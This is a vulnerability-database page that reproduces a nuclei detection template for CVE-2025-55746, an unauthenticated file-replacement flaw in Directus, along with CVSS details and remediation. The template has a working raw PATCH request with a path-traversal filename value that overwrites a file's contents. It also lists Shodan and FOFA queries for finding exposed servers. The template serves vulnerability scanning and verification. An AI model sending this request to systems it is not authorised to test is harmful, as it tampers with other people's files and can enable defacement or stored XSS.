Lucene search
+L

Directus - Unauthenticated File Modification

🗓️ 23 Jul 2026 08:13:32Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

Unauthenticated attackers can replace an existing Directus file using a known file UUID via PATCH /files/{id}.

Related
Refs
Code
id: CVE-2025-55746

info:
  name: Directus - Unauthenticated File Modification
  author: aleff-github
  severity: critical
  description: |
    Directus versions from 10.8.0 before 11.9.3 allow unauthenticated attackers to modify the contents of an existing file when a valid file UUID is known. The PATCH /files/{id} endpoint processes multipart file uploads without proper authentication, allowing file content replacement despite returning a 403 status code. This template requires a known, controlled Directus file UUID provided via the file_id variable.
  impact: |
    An unauthenticated attacker with knowledge of a valid file UUID can replace the contents of an existing Directus file, potentially leading to defacement, data tampering, or stored XSS if the file is served to other users.
  remediation: |
    Upgrade Directus to version 11.9.3 or later.
  reference:
    - https://github.com/advisories/GHSA-mv33-9f6j-pfmc
    - https://github.com/directus/directus/commit/d84dcc36f75fc5c858d43746b8f9c426c38d696b
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55746
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L
    cvss-score: 9.3
    cve-id: CVE-2025-55746
    cwe-id: CWE-73
    cpe: cpe:2.3:a:monospace:directus:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: monospace
    product: directus
    shodan-query: 'X-Powered-By: Directus'
    fofa-query: 'header="X-Powered-By: Directus"'
  tags: cve,cve2025,directus,file-upload,intrusive,vuln

variables:
  marker: "{{rand_text_alpha(32)}}"
  cachebust: "{{rand_text_alphanumeric(8)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        PATCH /files/{{file_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----CVE-2025-55746

        ------CVE-2025-55746
        Content-Disposition: form-data; name="filename_disk"

        ../../{{file_id}}.txt
        ------CVE-2025-55746
        Content-Disposition: form-data; name="filename_download"

        {{file_id}}.txt
        ------CVE-2025-55746
        Content-Disposition: form-data; name="file"; filename="{{file_id}}.txt"
        Content-Type: text/plain

        {{marker}}
        ------CVE-2025-55746--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 403'
          - 'contains(header, "X-Powered-By: Directus")'
        condition: and
        internal: true

  - raw:
      - |
        GET /assets/{{file_id}}?download=1&cachebuster={{cachebust}} HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: no-cache

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{marker}}'

      - type: word
        part: header
        words:
          - 'X-Powered-By: Directus'

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009c28d0920f25d470af4698e891b9797ce706acea9ceb56fb451ccaf6c88c2326022012d6f4a3f140067366bd59598b3f6b9836e4b1a1242ffc8f9ad6c160483b1262:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 May 2026 16:09Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.17.5 - 9.3
EPSS0.00469
SSVC
3